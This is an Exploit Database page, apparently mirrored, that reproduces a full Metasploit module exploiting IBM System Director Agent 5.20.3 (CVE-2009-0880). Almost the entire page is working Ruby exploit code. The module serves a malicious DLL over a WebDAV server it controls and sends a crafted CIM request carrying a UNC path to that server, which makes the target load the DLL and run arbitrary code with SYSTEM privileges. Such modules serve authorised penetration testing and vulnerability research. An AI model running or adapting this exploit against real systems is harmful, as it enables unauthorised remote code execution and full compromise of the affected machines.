IBM System Director Agent – DLL Injection (Metasploit)

• Exploit Database
• 94 阅读

• 作者： Metasploit
  日期： 2012-12-07
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/23203/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::EXE
  
  	def initialize
  		super(
  			'Name'=> 'IBM System Director Agent DLL Injection',
  			'Description' => %q{
  					This module abuses the "wmicimsv" service on IBM System Director Agent 5.20.3
  				to accomplish arbitrary DLL injection and execute arbitrary code with SYSTEM
  				privileges.
  
  				In order to accomplish remote DLL injection it uses a WebDAV service as disclosed
  				by kingcope on December 2012. Because of this, the target host must have the
  				WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically
  				started by default on Windows XP SP3, but disabled by default on Windows 2003 SP2.
  			},
  			'Author'=> [
  				'Bernhard Mueller', # Vulnerability discovery and exploit using directory traversal
  				'kingcope', # Exploit using WebDAV
  				'juan vazquez' # Metasploit module
  			],
  			'Platform'=> 'win',
  			'References'=>
  				[
  					[ 'CVE', '2009-0880'],
  					[ 'OSVDB', '52616'],
  					[ 'OSVDB', '88102'],
  					[ 'BID', '34065' ],
  					[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20090305-2_IBM_director_privilege_escalation.txt' ],
  					[ 'URL', 'http://seclists.org/bugtraq/2012/Dec/5' ]
  				],
  			'Targets' =>
  				[
  					[ 'IBM System Director Agent 5.20.3 / Windows with WebClient enabled', { } ]
  				],
  			'DefaultTarget'=> 0,
  			'Privileged' => true,
  			'DisclosureDate' => 'Mar 10 2009'
  		)
  		register_options(
  			[
  				Opt::RPORT(6988),
  				OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
  				OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ])
  			], self.class)
  	end
  
  	def auto_target(cli, request)
  		agent = request.headers['User-Agent']
  
  		ret = nil
  		# Check for MSIE and/or WebDAV redirector requests
  		if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
  			ret = targets[0]
  		elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
  			ret = targets[0]
  		else
  			print_error("Unknown User-Agent: #{agent}")
  		end
  
  		ret
  	end
  
  
  	def on_request_uri(cli, request)
  
  		mytarget = target
  		if target.name == 'Automatic'
  			mytarget = auto_target(cli, request)
  			if (not mytarget)
  				send_not_found(cli)
  				return
  			end
  		end
  
  		# If there is no subdirectory in the request, we need to redirect.
  		if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
  			if (request.uri == '/')
  				subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
  			else
  				subdir = request.uri + '/'
  			end
  			print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
  			send_redirect(cli, subdir)
  			return
  		end
  
  		# dispatch WebDAV requests based on method first
  		case request.method
  			when 'OPTIONS'
  				process_options(cli, request, mytarget)
  
  			when 'PROPFIND'
  				process_propfind(cli, request, mytarget)
  
  			when 'GET'
  				process_get(cli, request, mytarget)
  
  			when 'PUT'
  				print_status("Sending 404 for PUT #{request.uri} ...")
  				send_not_found(cli)
  
  			else
  				print_error("Unexpected request method encountered: #{request.method}")
  
  		end
  
  	end
  
  
  	#
  	# GET requests
  	#
  	def process_get(cli, request, target)
  
  		print_status("Responding to GET request #{request.uri}")
  		# dispatch based on extension
  		if (request.uri =~ /\.dll$/i)
  			print_status("Sending DLL")
  			return if ((p = regenerate_payload(cli)) == nil)
  			dll_payload = generate_payload_dll
  			send_response(cli, dll_payload, { 'Content-Type' => 'application/octet-stream' })
  		else
  			send_not_found(cli)
  		end
  	end
  
  
  	#
  	# OPTIONS requests sent by the WebDav Mini-Redirector
  	#
  	def process_options(cli, request, target)
  		print_status("Responding to WebDAV OPTIONS request")
  		headers = {
  			#'DASL' => '<DAV:sql>',
  			#'DAV'=> '1, 2',
  			'Allow'=> 'OPTIONS, GET, PROPFIND',
  			'Public' => 'OPTIONS, GET, PROPFIND'
  		}
  		send_response(cli, '', headers)
  	end
  
  
  	#
  	# PROPFIND requests sent by the WebDav Mini-Redirector
  	#
  	def process_propfind(cli, request, target)
  		path = request.uri
  		print_status("Received WebDAV PROPFIND request")
  		body = ''
  
  		if (path =~ /\.dll$/i)
  			print_status("Sending DLL multistatus for #{path} ...")
  			body = %Q|<?xml version="1.0"?>
  <a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
  <a:response>
  </a:response>
  </a:multistatus>
  |
  		elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) or (path =~ /\.dll/i)
  			print_status("Sending 404 for #{path} ...")
  			send_not_found(cli)
  			return
  
  		elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
  			# Response for anything else (generally just /)
  			print_status("Sending directory multistatus for #{path} ...")
  			body = %Q|<?xml version="1.0" encoding="utf-8"?>
  <D:multistatus xmlns:D="DAV:">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
  <D:href>#{path}</D:href>
  <D:propstat>
  <D:prop>
  <lp1:resourcetype><D:collection/></lp1:resourcetype>
  <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
  <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
  <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
  <D:lockdiscovery/>
  <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
  </D:prop>
  <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
  </D:response>
  </D:multistatus>
  |
  
  		else
  			print_status("Sending 404 for #{path} ...")
  			send_not_found(cli)
  			return
  
  		end
  
  		# send the response
  		resp = create_response(207, "Multi-Status")
  		resp.body = body
  		resp['Content-Type'] = 'text/xml'
  		cli.send_response(resp)
  	end
  
  	def xml_data
  		xml = <<-eos
  <?xml version="1.0" encoding="utf-8" ?>
  <CIM CIMVERSION="2.0" DTDVERSION="2.0">
  	<MESSAGE ID="1007" PROTOCOLVERSION="1.0">
  		<SIMPLEEXPREQ>
  			<EXPMETHODCALL NAME="ExportIndication">
  				<EXPPARAMVALUE NAME="NewIndication">
  					<INSTANCE CLASSNAME="CIM_AlertIndication" >
  						<PROPERTY NAME="Description" TYPE="string">
  							<VALUE>Sample CIM_AlertIndication indication</VALUE>
  						</PROPERTY>
  						<PROPERTY NAME="AlertType" TYPE="uint16">
  							<VALUE>1</VALUE>
  						</PROPERTY>
  						<PROPERTY NAME="PerceivedSeverity" TYPE="uint16">
  							<VALUE>3</VALUE>
  						</PROPERTY>
  						<PROPERTY NAME="ProbableCause" TYPE="uint16">
  							<VALUE>2</VALUE>
  						</PROPERTY>
  						<PROPERTY NAME="IndicationTime" TYPE="datetime">
  							<VALUE>20010515104354.000000:000</VALUE>
  						</PROPERTY>
  					</INSTANCE>
  				</EXPPARAMVALUE>
  			</EXPMETHODCALL>
  		</SIMPLEEXPREQ>
  	</MESSAGE>
  </CIM>
  		eos
  		return xml
  	end
  
  	def check
  
  		peer = "#{rhost}:#{rport}"
  		print_status("#{peer} - Checking if CIMListener exists...")
  
  		res = send_request_cgi({
  			'uri'=> "/CIMListener/",
  			'method' => 'M-POST',
  			'ctype'=> 'application/xml; charset=utf-8',
  			'headers'	 => {
  				"Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
  				"CIMOperation" => "MethodCall",
  				"CIMExport" => "MethodRequest",
  				"CIMExportMethod" => "ExportIndication"
  			},
  			'data' => xml_data,
  		}, 1)
  
  		if res and res.code == 200 and res.body =~ /CIMVERSION/
  			return CheckCode::Appears
  		end
  		return CheckCode::Safe
  	end
  
  	def exploit
  
  		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
  			fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
  		end
  
  		super
  
  	end
  
  	def primer
  
  		basename = rand_text_alpha(3)
  		share_name = rand_text_alpha(3)
  		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
  		exploit_unc= "\\\\#{myhost}\\"
  
  		vprint_status("Payload available at #{exploit_unc}#{share_name}\\#{basename}.dll")
  
  		@peer = "#{rhost}:#{rport}"
  
  		print_status("#{@peer} - Injecting DLL...")
  
  		res = send_request_cgi({
  			'uri'=> "/CIMListener/#{exploit_unc}#{share_name}\\#{basename}.dll",
  			'method' => 'M-POST',
  			'ctype'=> 'application/xml; charset=utf-8',
  			'headers'=> {
  				"Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
  				"CIMOperation"=> "MethodCall",
  				"CIMExport" => "MethodRequest",
  				"CIMExportMethod" => "ExportIndication"
  			},
  			'data' => xml_data,
  		})
  
  		if res and res.code == 200 and res.body =~ /CIMVERSION/
  			print_status"#{@peer} - Then injection seemed to work..."
  		else
  			fail_with(Exploit::Failure::Unknown, "#{@peer} - Unexpected response")
  		end
  	end
  
  end
  

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